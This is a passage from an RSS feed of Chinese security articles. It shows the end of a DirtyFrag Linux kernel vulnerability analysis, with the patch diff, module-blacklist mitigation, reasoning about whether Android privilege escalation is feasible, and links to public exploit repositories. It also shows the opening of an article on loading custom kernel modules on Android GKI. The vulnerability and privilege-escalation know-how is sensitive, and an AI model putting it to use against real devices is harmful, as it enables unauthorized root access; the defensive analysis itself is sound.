0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RxRPC分支的补丁更短。原代码只检查</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb_cloned(skb)</span></code><span leaf="">，但从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">来的非线性</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb</span></code><span leaf="">不一定是cloned。补丁把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb-&gt;data_len</span></code><span leaf="">也纳入检查，只要有非线性数据，就先复制。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="631" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(255, 0, 0, 0.2);color: rgb(255, 0, 0);display: inline-block;width: 344.347px;"><span leaf="">-			    skb_cloned(skb)) {</span></span><br/><span style="background-color: rgba(156, 204, 44, 0.25);color: rgb(155, 185, 85);display: inline-block;width: 344.347px;"><span leaf="">+			    (skb_cloned(skb) || skb-&gt;data_len)) {</span></span><br/><span leaf="">				/* Unshare the packet so that it can be</span><br/><span leaf="">				 * modified by in-place decryption.</span><br/><span leaf="">				 */</span></code></pre><p data-line="639" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">临时缓解可以禁用相关模块：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="641" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 122, 204);"><span leaf="">printf</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n&#39;</span></span><span leaf=""> \</span><br/><span leaf="">	&gt; /etc/modprobe.d/dirtyfrag.conf</span><br/><span leaf="">rmmod esp4 esp6 rxrpc 2&gt;/dev/null</span></code></pre><p data-line="647" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这只是临时措施。生产环境最终还是要跟进发行版内核更新，尤其要确认ESP和RxRPC两个分支是否都已经回补。</span></p><h2 data-line="649" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">总结</span></h2><p data-line="651" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">DirtyFrag是一个页缓存引用边界被网络协议栈打穿的逻辑漏洞。用户态通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">把只读文件页带进</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb-&gt;frag</span></code><span leaf="">，内核协议代码又在没有隔离的情况下原地解密，于是“只读文件页”变成了“可被内核写的目的buffer”。</span></p><p data-line="653" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">那么，这个洞是否可以作用于安卓实现LPE提权？</span></p><p data-line="655" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">以安卓GKI arm64配置为例，虽然XFRM和ESP需要的内核配置：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_XFRM_USER=y</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_INET_ESP=y</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_INET6_ESP=y</span></code><span leaf="">在GKI内核中都开启了。但问题是ESP链需要能配置XFRM状态，核心权限是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CAP_NET_ADMIN</span></code><span leaf="">。这在安卓上就不行了，普通用户设备可取不了这个权限。还有GKI配置里能看到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_NAMESPACES=y</span></code><span leaf="">，但</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_USER_NS</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_NET_NS</span></code><span leaf="">在该配置中没有打开，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_PID_NS</span></code><span leaf="">也明确关闭；再叠加应用沙箱、SELinux和seccomp，普通App不能按发行版那套方式创建可用的网络命名空间并配置XFRM。</span></p><p data-line="657" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">一句话总结就是：就算把用户态代码交叉编译成安卓ELF，普通App进程也很难走到DirtyFrag需要的RxRPC触发面。</span></p><h2 data-line="667" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">参考资料</span></h2><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">DirtyFrag仓库：<a href="https://github.com/V4bel/dirtyfrag" target="_blank">https://github.com/V4bel/dirtyfrag</a></span></p></li><li style=""><p><span leaf="">DirtyFrag官方技术说明：<a href="https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md" target="_blank">https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md</a></span></p></li><li style=""><p><span leaf="">ESP修复提交：<a href="https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4" target="_blank">https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4</a></span></p></li><li style=""><p><span leaf="">ESP补丁邮件：<a href="https://lore.kernel.org/all/afLDKSvAvMwGh7Fy@v4bel/" target="_blank">https://lore.kernel.org/all/afLDKSvAvMwGh7Fy@v4bel/</a></span></p></li><li style=""><p><span leaf="">RxRPC补丁邮件：<a href="https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/" target="_blank">https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/</a></span></p></li><li style=""><p><span leaf="">CopyFail2仓库：<a href="https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo" target="_blank">https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo</a></span></p></li><li style=""><p><span leaf="">Android GKI arm64配置：<a href="https://android.googlesource.com/kernel/common/+/refs/heads/android-mainline/arch/arm64/configs/gki_defconfig" target="_blank">https://android.googlesource.com/kernel/common/+/refs/heads/android-mainline/arch/arm64/configs/gki_defconfig</a></span></p></li><li style=""><p><span leaf="">Android seccomp说明：<a href="https://android-developers.googleblog.com/2017/07/seccomp-filter-in-android-o.html" target="_blank">https://android-developers.googleblog.com/2017/07/seccomp-filter-in-android-o.html</a></span></p></li><li style=""><p><span leaf="">Android SELinux说明：<a href="https://source.android.com/docs/security/features/selinux" target="_blank">https://source.android.com/docs/security/features/selinux</a></span></p></li></ol><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6f932a4d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485155%26idx%3D1%26sn%3D297226eb7a1334739226f0ac851e1e65">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 May 2026 09:48:00 +0800</pubDate>
    </item>
    <item>
      <title>安卓GKI内核KPM加载器开发踩坑实战</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485150&amp;idx=1&amp;sn=df32ae68864e79a10ce0d43217754e54</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>shixuan</span> <span>2026-05-07 11:57</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2c602a7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeT9ianKC6qJFeGm82gcx9yvko4vyupCsaY9bvbtoTV5IF0GdAHpgcyMbKB84WwbZe1vLkWjIkrfHl3RwdJuCLdEUiaF8bQyPNawUg%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style="margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">安卓GKI内核KPM加载器开发踩坑实战</span></h1><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="2" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">本文详细记录了把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.o</span></code><span leaf="">变成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">在安卓系统上完整加载的全过程探索，一起来感受</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ELF</span></code><span leaf="">格式探索的奇妙之旅</span></p><p data-line="4" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">作者：shixuan</span></p></blockquote><p data-line="6" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">经作者授权，文章重排优化后在[软件安全与逆向分析]公众号发布</span></p><h2 data-line="8" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">目录</span></h2><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"></ol><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001498" src="https://wechat2rss.xlab.app/img-proxy/?k=4ccc8d79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT8MhKMm4M2jP7BMCKwnZhd26BbvQGZImQUhkQGyw525o0AoI95MKAO5kNqnDANia5pZHRLdO3DAvH8ia4HknIp1dK8nJzsmnHo5I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-line="17" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1 问题起点与ELF边界</span></h2><p data-line="19" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">有一段用户空间代码需要在内核里跑。正常做法是用内核构建系统进行编译生成ko模块，但那样得维护一套</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Kbuild</span></code><span leaf="">，而且代码里的用户空间惯用法改起来很痛苦。于是就冒出一个念头：能不能直接把编译好的二进制文件直接&#34;转&#34;成ko模块？</span></p><p data-line="21" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">直觉上这应该可行——反正</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">就是ELF可重定位文件（ET_REL），普通的 .o 编译产物也是 ET_REL。格式骨架一样，差的无非是元数据。</span></p><p data-line="23" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">真的上手之后，才发现坑比想象中多得多。</span></p><h3 data-line="25" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ELF类型和转换边界</span></h3><p data-line="27" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">先理清几个基本概念。ELF 文件有四种类型：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">类型</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">谁处理重定位</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ET_REL (.o, .ko)</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">可重定位，未链接</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">链接器 / 内核加载器</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ET_DYN (.so)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span 